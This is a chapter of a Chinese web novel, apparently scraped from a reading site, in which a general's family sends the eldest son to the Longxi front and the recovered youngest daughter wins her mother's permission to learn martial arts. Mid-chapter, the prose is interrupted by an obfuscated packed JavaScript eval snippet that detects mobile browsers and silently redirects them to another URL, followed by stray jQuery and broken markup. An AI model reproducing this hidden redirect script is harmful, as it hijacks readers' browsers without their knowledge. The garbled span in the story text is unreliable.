默认冷灰
24号文字
方正启体

8. 练武

作者:悦下枝头本书字数:K更新时间:
    大伯和念安姐姐在临沂只待了五日便快马加鞭地赶回了陇西,期间他与父亲说了什么无人知晓,只知道又过了没两三个月,大哥便也动身要去陇西了,而这个消息,毫无征兆。


    “大哥,你为何要去陇西?”江以煦不解地围着他转圈。


    “阿煦,你别转了,我头晕,”江以羡无奈揉了揉眉间,“你再转也改变不了是我去陇西的事实。”


    “是是是,就是改变不了我不能去的事实,”江以煦欲哭无泪,虽然他是个纨绔,可身为江家儿郎,怎会不想去前线有一番作为呢?


    江以羡无奈一笑,道:“你如今年岁还小,父亲不许你去是自然的。”


    “可你是世子,将来要继承爵位,更是不适合去啊。”


    “阿煦你说这不对,我先是大宁人其次才是海威侯府世子,大宁需要我,我便得去,行了话不多说,我过会儿就得走了,你在家中要替父亲照看好和阿楹。”


    江以煦幽怨了一会儿,这才道:“知道了大哥,放心去吧,等你回来,不!应该是等我去陇西找你!”


    “这才对嘛。”


    “羡儿,”秦婉约收拾了一些东西匆匆赶来给他,“这是阿娘给你准备的一些用品,此日一去不知何时归来,羡儿,要照顾好自己。”


    “我知道的,阿娘。”


    “大哥,你要走了么?”江闻溪拉着江以羡的衣角,略有些不舍,“阿楹会想你的。”


    大哥去陇西的这段日子,辽人不会有过多的动作,他只需要安静地跟着大伯便可以安然无事,毕竟真正的战役打响至少要到三年后。


    做父亲的见子女远行总是少言,江伯翰只是拍了拍江以羡的肩头,轻声道:“去吧,羡儿。”


    江以羡微微点头也不再多说什么,便背上包袱跃上马扬鞭离开了。


    但他的离开给这个家并没有太大的影响,日子还是要继续往下过的。


    -


    就这样又过了三四个月的时间,临沂已经逐渐进入了秋天,侯府的银杏树也都开始发黄掉落。


    此时的江闻溪已经是去年冬日无法比拟的了,中药、散步和五禽戏的作用之下,她已经基本上已经与常人无异了,日常生活也不再被影响了。


    而江闻溪也开始盘算起自己练武的计划了,甚至觉得是时候借此机会告诉阿娘了。


    “三小姐当真是让老夫觉得不可思议,以往也曾见过不少有不足之症的人,但他们也都是只能凭药让自己有常人的半成身体,三小姐却基本上恢复得无甚大碍了,实在难得啊”


    以往总是给自己诊治的孙大夫把完脉后发出如此感慨。


    秦婉约一听,不由大喜:“当真?那照这么说阿楹以后再也不用被病魔缠身了?”


    “回夫人,正是如此,不过老夫也甚是好奇,三小姐究竟为何与旁人不同能好得这般彻底?”


    江闻溪思虑了一下,回道:“应是因为我有在强筋健骨,孙大夫可以想想以往遇到这些病人时,他们多是卧榻喝药,整日闷在房中,以我之见这样也好不全啊。”


    锻炼这个东西是刻在江家人骨子里的,甚至江家祖上传下来的秘典中也曾有言,身体不好就多动动。


    秦婉约也附和道:“不错,我江家秘典中有言,若身有残缺者,应当阴阳调和,喝药之余多见日照,多动身体。”


    孙大夫摸了摸自己的胡子想了想,道:“秘典所言有道理,此法我还要再考究一番,便不和两位说了,”说罢他就提着药箱子快步离开。


    母女俩看着孙大夫的背影都忍不住一笑,秦婉约扭头看向江闻溪,道:“行了,现如今你身体已无大碍,做娘的这心里也就放心了。”


    江闻溪没有回话,只犹豫了一会儿,才开口道:“阿娘,其实我有事想和你说。”


    秋日的阳光也不乏明媚,透过窗户照射进屋中,江闻溪所坐之处偏阴,几乎没得那抹光亮的恩赐,却又偏偏,在她微微抬眼那一刻,映入了她那双写满认真的眸子之中。


    “什么事啊?这么神神秘秘的。”


    “……”


    “哎呦,怎么不说话了?放心,阿娘今日高兴,你就是闯了祸或者有要求,阿娘也不会说什么。”


    “……我想习武。”


    “……”秦婉约的笑瞬间凝固,“为什么?”


    “不可以么?”江闻溪抿了抿唇,心脏则因为紧张砰砰乱跳,连带着眼角下的那颗红色小痣都轻颤着。


    秦婉约闭上眼深吸了一口气,道:“阿楹,阿娘需要一个理由,你应当知道你身体刚好,不应再随意折腾。”


    江闻溪正襟危坐,道:“阿娘,我有三条理由来说服你,若你听完仍然不同意,那我就再不提此事了。”


    秦婉约盯着她的眸子看了会儿,片刻后才拿起一旁的茶盏,仰头喝了一口,然后道:“你说,为娘倒要看看你有什么理由说服我。”


    “其一,我是江家人,江家儿女没道理只会在书房里看文史明道理。”


    “可你也是阿娘最小的女儿,阿娘心疼你。”


    “我知道,阿娘一共有三个孩子,可偏偏您将所有的偏爱都给了我,对大哥二哥却和爹一样严厉,可阿娘,您忘了我们江家的祖训么?”


    秦婉约被问得哑言,笑了一下,说道:“江家祖训共有九条,其中最重要的一条就是护己。”


    “是,这一条您从小就对我说,这是我们祖先想要告知后代,只有保护好自己,才能保护得了百姓,乃至国家。”


    “唉,没想到有朝一日我会被教闺女的话给堵住嘴,那除了这条以外还有别的理由么?”


    江闻溪有条不紊地继续说道: “其二,若我习武,我的身子骨会更加硬朗强健,阿娘,我不想只做一个柔弱的小姐,您知道那对于女子来说没什么用处。”


    “那是自然,”秦婉约不可置否。


    “其三,您不许我习武的最主要的原因是我身体不好,可如今我的身体已经好全了,您阻止我的理由还有什么呢?”


    秦婉约彻底笑了,笑得畅怀,笑完之后她才语气有些无奈地说道:“哎,阿娘真是说不过你,不过你说得有道理,保护自己的能力,增长不一般的见识,良好的身体,让你习武竟然好处如此之多,倒是我这做娘的狭隘了。”


    “那——阿娘,所以?”


    “我不反对,你随时就可以去跟着你二哥一起练武,我会叫人和明师傅说一声的。”


    一听如此,江闻溪高兴地蹦了起来,然后一把搂住秦婉约的脖子,道:“阿娘阿娘,我果然最最爱你了!”


    秦婉约被逗得开心,道:“你这孩子可真是惯会哄人。”


    得到阿娘的同意,阿爹这个爱妻人士自然也是同意的,江闻溪便一蹦一跳地去找江以煦了。


    结果没到江以煦的院子,她就听到木棍和木棍交织的声音。


    再往前走一步,就看到江以煦正在和孟允昭对练,两个人倒是打的有来有回,也不知道算孟允昭是天才,还是江以煦在让着他。


    说起来如今这个状况,还应当要从阿爹让孟允昭跟着大哥训练这事算,毕竟一开始他确实跟着大哥,结果谁想到后来大哥去了陇西,孟允昭就只能暂时跟着二哥了。


    “嘿,你这小子,还真是有点东西啊!”江以煦放下手中长棍,啧啧感叹。


    孟允昭垂眸轻笑,道:“怎会?是二少爷教得好。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064760|195120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “啧,就烦你这样的,长得俊就算了,还嘴甜,我都担心我家阿楹会被你哄骗走。”


    江闻溪无了个语了,她翻了个大白眼,走了过去猛拍一下江以煦,道:“二哥,你在这儿编排我什么呢?”


    江以煦被她这一弄,吓了一跳整个人都支棱起来了:“哎呦,我的娘啊!可吓死我了。”


    “这不是还没死嘛?”江闻溪俏皮地眨了两下眼睛。


    江以煦缓了一下后,呵呵一笑:“妹啊,我发现自打你去年冬天大病一场后,那小嘴和心眼是越来越坏了。”


    “行了,二哥别贫嘴了,找你有正事”


    “啥事?”


    “我要跟你和明师傅习武啊~”


    “啥玩意?你可别!”江以煦又被吓得跳了起来。


    江闻溪安抚道:“放心,阿娘同意了。”


    “真的?”


    “真的。”


    听此江以煦这才松了口气,道:“那行吧,既然阿娘都同意了,你二哥我也不多说啥了,不过明师傅今天有事,没来。”


    江闻溪有点遗憾:“那明师傅明天会来么?”


    “来呀,那肯定是要来的呀!”


    “那就行!那我明天再来!”说着转身就要拉着孟允昭走,孟允昭也是乖巧地跟着。


    背后江以煦道:“不过妹啊,咱江家人一般都是六岁就武学启蒙的,你如今学,可是晚了三年,那是要比别人付出更多的苦呢。”


    江闻溪也知道二哥说得这些,但她极为坦然道:“没事啊,吃点苦头不要紧的,真的…不要紧,所以二哥,别担心啦!我会没事的,就这样了。”


    “行吧,你心里有数就行,”江以煦也不是那种爱劝人的人,何况他也知道自家小妹打小就有主意。


    内心感慨着感慨着,他突然又反应过来哪里不对,朝着江闻溪的背影喊:“不是?怎么就把我的对练对象给拉走了啊?!”


    江闻溪挥了挥手,回话:“二哥,小白是我的人,跟着你是让他学本事,不是让你压榨他,所以走了~”简直不管背后的江以煦死活。


    回院里的路上,孟允昭调侃着开口:“您的习武大业终于得以实现了?”


    江闻溪“啧”了一声,猛地扭头瞪他,道:“小白,我发现从几个月前的夜谈之后,你是彻底不装天真无邪小乞丐了啊?啊不对,是人前单纯,人后简直就是鬼迷日眼的啊!”


    虽然相比较后来的孟允昭,现在已经算是上纯良得很了,但还是觉得他真的太会装啦!!


    孟允昭无辜脸,道:“那很重要么?我给小姐带来麻烦了么?”


    呃,那倒没有,甚至这几个月他还有的没的给她暗示什么,而她也因为谨慎真的在思考那些事情的真实性了。


    当然,那些乱七八糟的暗示也让江闻溪怀疑过孟允昭是不是也是重生的,但又觉得没道理那个孟首辅重生了之后性格眼神会变得随和。


    最后还是下结论,孟允昭果然是狐狸妖怪变得。


    “是啊,你没给我带来什么麻烦,但我就是觉得自己捡了个不得了的家伙,果然,话本子诚不欺我,路边的男人不能随便捡,男孩子也不行!”


    孟允昭笑了,道:“小姐,您知道就好,以后也不要随便捡人。”


    “干嘛那种语气,好像是想交代什么就跑人的感觉。”


    “也许是呢?”


    江闻溪顿住了,片刻后她叹了一口气,道:“是么?那你离了我可再也没法这么安逸了,”说着她就撇撇嘴先走一步了。


    孟允昭看着她离开的身影,有些无奈地弯了弯嘴角。


    “江闻溪,我由衷希望这次你能如愿以偿。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)